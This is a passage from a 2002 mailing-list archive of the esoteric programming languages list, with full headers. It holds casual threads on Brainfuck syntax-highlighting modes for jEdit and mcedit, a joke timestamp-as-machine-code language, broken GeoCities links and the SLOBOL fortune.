Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 08:41:22 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N5YE-000KFK-00; Wed, 26 Jun 2002 08:41:10 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 08:41:02 +0300 (EEST)
Received: from mailout5-0.nyroc.rr.com ([24.92.226.122] helo=mailout5.nyroc.rr.com)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N5Y5-000KFD-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 08:41:01 +0300
Received: from mail1.twcny.rr.com (mail1-0.nyroc.rr.com [24.92.226.74])
	by mailout5.nyroc.rr.com (8.11.6/RoadRunner 1.20) with ESMTP id g5Q5esO11633
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 01:40:54 -0400 (EDT)
Received: from riff ([24.92.246.4]) by mail1.twcny.rr.com
          (Post.Office MTA v3.5.3 release 223
          ID# 0-59787U250000L250000S0V35) with ESMTP id com
          for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 01:40:53 -0400
Received: from rob by riff with local (Exim 3.35 #1 (Debian))
	id 17N5Xy-0001gZ-00
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 01:40:54 -0400
Date: Wed, 26 Jun 2002 01:40:54 -0400
From: Rob Speer <rob@twcny.rr.com>
To: lang@esoteric.sange.fi
Subject: [lang] Re: time travel, was Malbolge
Message-ID: <20020626054054.GC6431@twcny.rr.com>
References: <20020625152955.83734.qmail@web14005.mail.yahoo.com> <3D18F5F4.670BE57D@dds.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3D18F5F4.670BE57D@dds.nl>
User-Agent: Mutt/1.4i
X-Is-It-Not-Nifty: www.sluggy.com
Sender: Rob Speer <rob@riff>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
X-list: misc

On Wed, Jun 26, 2002 at 01:00:04AM +0200, Milo van Handel wrote:
> > According to my earlier rule, when $res == ($res + $s / $res) / 2.
> > Obviously with infinite precision, that could be never if the root is
> > irrational :-)
> 
> That's my point.  It never terminates, so it doesn't actually calculate
> anything.

But as long as the implementation doesn't use infinite precision, it
indeed would work.
-- 
Rob Speer






From esoteric@oiva.sange.fi Wed Jun 26 12:14:38 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N8sf-000LB9-00; Wed, 26 Jun 2002 12:14:29 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 12:14:21 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N8rx-000LAy-00; Wed, 26 Jun 2002 12:13:45 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 12:13:37 +0300 (EEST)
Received: from ctb-mesg1.saix.net ([196.25.240.73])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N8rn-000LAs-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 12:13:35 +0300
Received: from lennie (woc53-01-p208.wc.saix.net [155.239.129.208])
	by ctb-mesg1.saix.net (8.11.4/8.11.4) with SMTP id g5Q9DMv10722
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 11:13:22 +0200 (SAT)
Message-ID: <000201c21cf0$d9fc13e0$d081ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: <lang@esoteric.sange.fi>
References: <LFEDLOFBCDOICJLLHNHBMENICBAA.ryan@michel.com.au>
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Tue, 25 Jun 2002 19:33:22 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Hello Ryan Michel,

A very nice website ! :-) But when I want to goto the Esoteric Page
(http://www.geocities.com/psyopsmstr/esoteric.htm) I get a message from
Geocities that the webpage doesn't exists ? ! <g>

Where is the Game Maker webpage ? No Link <g>

Where is the D language webpage ? No Link also <g>

Kind Regards,

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm

+++

The spec for my functional language now with a name "Nequam" (Latin for
useless) along with LOBOL and QNA can be found at:

http://www.geocities.com/psyopsmstr/index.html

(No jokes about the geocities Web page)

ryan

P.S. Soon I will add Whitespace, Alphabet Soup, Plip and an as yet unamed
language.







From esoteric@oiva.sange.fi Wed Jun 26 14:11:14 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NAhY-000M2g-00; Wed, 26 Jun 2002 14:11:08 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 14:11:01 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NAh7-000M2Z-00; Wed, 26 Jun 2002 14:10:41 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 14:10:33 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NAgv-000M2S-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 14:10:31 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 12:13:27 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] BrainF**k mode for Jedit
Date: Wed, 26 Jun 2002 12:09:22 +0100
Message-ID: <000401c21d01$ed23e2c0$a500000a@td165>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01C21D0A.4EF78D00"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <000201c21cf0$d9fc13e0$d081ef9b@lennie>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C21D0A.4EF78D00
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

I wrote a Jedit syntax highlighting mode for BrainFuck (attached) If anyone
wants it.

:)

Dave.

------=_NextPart_000_0005_01C21D0A.4EF78D00
Content-Type: application/x-zip-compressed;
	name="bf.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="bf.zip"

UEsDBBQAAAAIAM1g2izay+m4lAIAAAoNAAAGAAAAYmYueG1srddrU9pAFAbgz/IrDmtrtQrx0ovV
EBthVaaB0CTUYaylkaySEgJNokJvv72bFOqlSN8PMsOQ5DznbHazmTmoe6N+QFciiv1BWGIbxXW2
p+Vyar5ilp1Wg1PNrHCyW7bDa8RG/YEnil7isdRkobpe4yW2H7l+eHDZ6cnAgtqwzIYtD/4ccctp
TZgfeiJMzKEIZUKnJ5KY0QfdaMrQCSPl4ZRyMIjFPzmnD+RcDyJvPxJur9x1o1tDLAXJ7tpqobh0
kexOclVlerOq1TS4TdXDumnxdlm3ZYZjNTmjo+rhkSG/TrtSPaw6dokd6IbNWTZ0vlCg666fiHjo
dsQOLWe/5IYeJe7ZChUKWo4mH/X4qOpwu6GXuUaqcussrXTrdOFucJp/Uygd1ekK2iY/jJPospPI
xxdng8lKNn9P6cMrMUMWsXRjg2lrqiIvzw5vMq04K/yOt45Nq7LFtNX54cKcsCx+Mj98Oics7zx9
Wv8RwV8xe6maoT+ioZt06TzdT9F0obhptOUa16fLoe9zg5HutI1qnbdtR7ecySbQFvOqMuUPDcPl
ezROun54QSKIBfkxudQZ9PtyB9/dCDezKJu1Gq87chYb96YwE20iaAtBLxD0EkGvEPQaQdsIeoOg
dQR9RdA1ggSCIgQlCBoj6BJBPoIGCBoi6DuCfiLIRVCMIA9B5wi6QFAXQV8Q1ENQgKBdBD1D0CKC
fiHoLYJ2EPQRQT8Q9A1BIwR1EHSFoDMEhQjqI0hB0B6CPj9aJQjlEcQebbgnCHqKoE8IWnL7Q+gt
fo6gZQStIKiNoNL95k22ZpPublZDfgOzimnnVR8kJBv+IBhTKDoijt1oTG5C8kqxWJy2e8q0aNb4
Z/2+llOV9H+MlvsNUEsBAhYLFAAAAAgAzWDaLNrL6biUAgAACg0AAAYAAAAAAAAAAQAgAICBAAAA
AGJmLnhtbFBLBQYAAAAAAQABADQAAAC4AgAAAAA=

------=_NextPart_000_0005_01C21D0A.4EF78D00--






From esoteric@oiva.sange.fi Wed Jun 26 14:11:29 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NAhs-000M33-00; Wed, 26 Jun 2002 14:11:28 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 14:11:21 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NAhj-000M2r-00; Wed, 26 Jun 2002 14:11:19 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 14:11:12 +0300 (EEST)
Received: from [194.78.208.93] (helo=decis.be)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NAhb-000M2k-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 14:11:11 +0300
Received: from decis.be [192.168.0.20] by decis.be [194.78.208.93]
	with SMTP (MDaemon.v3.5.3.R)
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 12:58:31 +0200
Message-ID: <3D19A2A8.7CA4818A@decis.be>
Date: Wed, 26 Jun 2002 13:16:56 +0200
From: Frederic van der Plancke <fvdp@decis.be>
Organization: Decis
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
References: <LFEDLOFBCDOICJLLHNHBMENICBAA.ryan@michel.com.au> <000201c21cf0$d9fc13e0$d081ef9b@lennie>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MDRemoteIP: 192.168.0.20
X-Return-Path: fvdp@decis.be
X-MDaemon-Deliver-To: lang@esoteric.sange.fi
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: fvdp@decis.be
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: fvdp@decis.be
Precedence: bulk
X-list: misc



D De Villiers wrote:
> 
> Hello Ryan Michel,
> 
> A very nice website ! :-) But when I want to goto the Esoteric Page
> (http://www.geocities.com/psyopsmstr/esoteric.htm) I get a message from
> Geocities that the webpage doesn't exists ? ! <g>

I could not find it either.

> 
> Where is the Game Maker webpage ? No Link <g>
> 
> Where is the D language webpage ? No Link also <g>

Go to
	www.google.com

and enter "D language" or "game maker" in the box. Then "feel lucky" ;-)

Frédéric.






From esoteric@oiva.sange.fi Wed Jun 26 17:00:01 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NDKn-000Mis-00; Wed, 26 Jun 2002 16:59:49 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 16:59:42 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NDKP-000Mik-00; Wed, 26 Jun 2002 16:59:25 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 16:59:17 +0300 (EEST)
Received: from b070117.adsl.hansenet.de ([62.109.70.117] helo=rolands.linux-site.net)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17NDKG-000Mie-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 16:59:16 +0300
Received: (qmail 4302 invoked from network); 26 Jun 2002 13:59:14 -0000
Received: from roland.hamburg.wg (HELO roland) (@192.168.97.2)
  by linux.hamburg.wg with SMTP; 26 Jun 2002 13:59:14 -0000
Message-ID: <002501c21d19$9eae34c0$0261a8c0@hamburg.wg>
From: "Roland Illig" <roland.illig@gmx.de>
To: <lang@esoteric.sange.fi>
References: <000401c21d01$ed23e2c0$a500000a@td165>
Subject: [lang] Re: BrainF**k mode for Jedit
Date: Wed, 26 Jun 2002 15:58:58 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: roland.illig@gmx.de
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: roland.illig@gmx.de
Precedence: bulk
X-list: misc

> I wrote a Jedit syntax highlighting mode for BrainFuck (attached) If
anyone
> wants it.

and I wrote one for mcedit, the internal editor of the midnight commander.
It supports basic brainfuck as well as my CGI extension.

Roland


---- snip file=brainfuck.syntax
context default
    keyword \+  yellow/24
    keyword \-  yellow/24
    keyword >   yellow/24
    keyword <   yellow/24
    keyword [   yellow/24
    keyword ]   yellow/24
    keyword \,  yellow/24
    keyword \.  yellow/24

context linestart #!/ \n  brown/22
    keyword \+  white/24
    keyword \-  white/24
    keyword >   white/24
    keyword <   white/24
    keyword [   white/24
    keyword ]   white/24
    keyword \,  white/24
    keyword \.  white/24







From esoteric@oiva.sange.fi Wed Jun 26 19:24:09 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NFaG-000NEj-00; Wed, 26 Jun 2002 19:23:56 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 19:23:48 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NFZr-000NEc-00; Wed, 26 Jun 2002 19:23:31 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 19:23:23 +0300 (EEST)
Received: from ctb-mesg1.saix.net ([196.25.240.73])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NFZh-000NEW-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 19:23:22 +0300
Received: from lennie (woc53-01-p198.wc.saix.net [155.239.129.198])
	by ctb-mesg1.saix.net (8.11.4/8.11.4) with SMTP id g5QGNDv19854
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 18:23:14 +0200 (SAT)
Message-ID: <002101c21d2c$e8821180$c681ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: <lang@esoteric.sange.fi>
References: <B93E3875.68D%cristofd@hevanet.com>
Subject: [lang] Re: AW: NS lang
Date: Wed, 26 Jun 2002 17:37:29 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Hello Daniel,

If you've a language specification for this new language of yours - I would
be interested in writting a interpreter in Delphi and Java for it.

Kind Regards,

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm

++++

> A while ago I came up with a language somewhat related to the above:
> Syntax: any character in the source file produces a syntax error (though a
> possible language extension allows C-style comments). This means the only
> valid program is an empty file.
> The semantics of a program in this language are those of the time when
it's
> compiled, in time_t format, executed as machine language.
> This language is both deterministic and Turing-complete, in an odd way. We
> can count on time_t to be extended as necessary, so it doesn't matter that
> it's of finite size at any given time; but most interesting programs also
> involve waiting longer than the physical universe is expected to last.
> On the other hand, it is very easy to write compilers for this language,
and
> most programs in it are quines, or rather the only program in it compiles
to
> a quine most of the time.
> Maybe call this the wait programming language?
> -Daniel.
>
>
>
>
>
>
>






From esoteric@oiva.sange.fi Wed Jun 26 19:40:49 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NFqX-000NKk-00; Wed, 26 Jun 2002 19:40:45 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 19:40:38 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NFqL-000NKc-00; Wed, 26 Jun 2002 19:40:33 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 19:40:26 +0300 (EEST)
Received: from artemis.ee.teiath.gr ([195.130.107.17])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NFqD-000NKW-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 19:40:25 +0300
Received: from xpakccp18hkqn8 (ppp7.ee.teiath.gr [195.130.107.60])
	by artemis.ee.teiath.gr (8.11.2/8.8.7) with SMTP id g5QHLnO29833
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 20:21:49 +0300
Message-ID: <000001c21d2f$8d508cd0$3c6b82c3@xpakccp18hkqn8>
From: "Al. Andreou" <ee4299@ee.teiath.gr>
To: <lang@esoteric.sange.fi>
References: <200206252010.04914.cbiffle@safety.net>
Subject: [lang] Re: [not quite esoteric, yet] Virtual Machine book
Date: Wed, 26 Jun 2002 06:58:06 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-7"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
X-list: misc

> Slashdot today reviewed an interesting-sounding book on implementing
Virtual
> Machines in C and C++.  The review is here:
> http://books.slashdot.org/books/02/06/25/1223234.shtml?tid=156
>
> Slashdot/anti-Slashdot fervor aside, this book sounds like it would be of
much

Argh... It was "reviewed" by /.? Let me burn my copy then.

Al. Andreou <ee4299@ee.teiath.gr>
http://nemesis.ee.teiath.gr/~ee4299/







From esoteric@oiva.sange.fi Thu Jun 27 00:46:41 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NKcR-0001ia-00; Thu, 27 Jun 2002 00:46:31 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 00:46:23 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NKc3-0001iS-00; Thu, 27 Jun 2002 00:46:08 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 00:46:00 +0300 (EEST)
Received: from rhea.tiscali.nl ([195.241.76.178])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NKbv-0001iM-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 00:45:59 +0300
Received: from dds.nl (xs241-233-31.dial.tiscali.nl [195.241.233.31])
	by rhea.tiscali.nl (Postfix) with ESMTP id 79A0C3E74F
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 22:34:56 +0200 (MET DST)
Sender: root@rhea.tiscali.nl
Message-ID: <3D1A31A6.37D0043C@dds.nl>
Date: Wed, 26 Jun 2002 23:27:02 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: AW: NS lang
References: <B93E3875.68D%cristofd@hevanet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Daniel wrote:

> A while ago I came up with a language somewhat related to the above:
> Syntax: any character in the source file produces a syntax error (though a
> possible language extension allows C-style comments). This means the only
> valid program is an empty file.
> The semantics of a program in this language are those of the time when it's
> compiled, in time_t format, executed as machine language.

Isn't this machine dependant?  If you want it to be a true programming
language, you'll have to specify which machine language...

> This language is both deterministic and Turing-complete, in an odd way.

It is?  What if the time matching the program you want has already past?

> We
> can count on time_t to be extended as necessary, so it doesn't matter that
> it's of finite size at any given time; but most interesting programs also
> involve waiting longer than the physical universe is expected to last.

The programs themselves don't wait.  Only the programmer needs to wait, and
this is done before compile time.  Of course, whenever the wait is, it's still
just as long...

> On the other hand, it is very easy to write compilers for this language, and
> most programs in it are quines, or rather the only program in it compiles to
> a quine most of the time.

What?  Most programs compile to unrunnable nonsense.  However, if the program
does happen to work, then there's a high chance it'll output its own source
code, namely nothing.

> Maybe call this the wait programming language?

Perhaps...  You know, I think this language beats the lesser-known programming
language #13.  Straight from my fortune database, and also findable somewhere
through Cat's Eye's website:

        THE LESSER-KNOWN PROGRAMMING LANGUAGES #13: SLOBOL
 
SLOBOL is best known for the speed, or lack of it, of its compiler.
Although many compilers allow you to take a coffee break while they
compile, SLOBOL compilers allow you to travel to Bolivia to pick the
coffee.  Forty-three programmers are known to have died of boredom
sitting at their terminals while waiting for a SLOBOL program to
compile.  Weary SLOBOL programmers often turn to a related (but
infinitely faster) language, COCAINE.






From esoteric@oiva.sange.fi Thu Jun 27 01:27:08 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NLFe-0001q0-00; Thu, 27 Jun 2002 01:27:02 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 01:26:55 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NLFQ-0001pt-00; Thu, 27 Jun 2002 01:26:48 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 01:26:41 +0300 (EEST)
Received: from artemis.ee.teiath.gr ([195.130.107.17])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NLFI-0001pn-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 01:26:40 +0300
Received: from xpakccp18hkqn8 (ppp6.ee.teiath.gr [195.130.107.59])
	by artemis.ee.teiath.gr (8.11.2/8.8.7) with SMTP id g5QN84O31045
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 02:08:04 +0300
Message-ID: <008b01c21d5f$eb925690$3c6b82c3@xpakccp18hkqn8>
From: "Al. Andreou" <ee4299@ee.teiath.gr>
To: <lang@esoteric.sange.fi>
References: <20020625152955.83734.qmail@web14005.mail.yahoo.com> <3D18F5F4.670BE57D@dds.nl> <20020626054054.GC6431@twcny.rr.com>
Subject: [lang] Re: time travel, was Malbolge
Date: Wed, 26 Jun 2002 20:04:46 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-7"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
X-list: misc

> > That's my point.  It never terminates, so it doesn't actually calculate
> > anything.

> But as long as the implementation doesn't use infinite precision, it
> indeed would work.

That would be as portable as Saturn machine language is. Well, it would
certainly make for a great esolang :) .

Al. Andreou <ee4299@ee.teiath.gr>
http://nemesis.ee.teiath.gr/~ee4299/







From esoteric@oiva.sange.fi Thu Jun 27 03:17:41 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NMyd-0002GQ-00; Thu, 27 Jun 2002 03:17:35 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 03:17:28 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NMy7-0002GG-00; Thu, 27 Jun 2002 03:17:03 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 03:16:55 +0300 (EEST)
Received: from rhea.tiscali.nl ([195.241.76.178])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NMxy-0002GA-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 03:16:54 +0300
Received: from dds.nl (xs241-240-2.dial.tiscali.nl [195.241.240.2])
	by rhea.tiscali.nl (Postfix) with ESMTP id E426C3D89B
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 22:18:11 +0200 (MET DST)
Sender: root@rhea.tiscali.nl
Message-ID: <3D1A2DEC.E15F2E78@dds.nl>
Date: Wed, 26 Jun 2002 23:11:08 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: time travel, was Malbolge
References: <20020625152955.83734.qmail@web14005.mail.yahoo.com> <3D18F5F4.670BE57D@dds.nl> <20020626054054.GC6431@twcny.rr.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Rob Speer wrote:

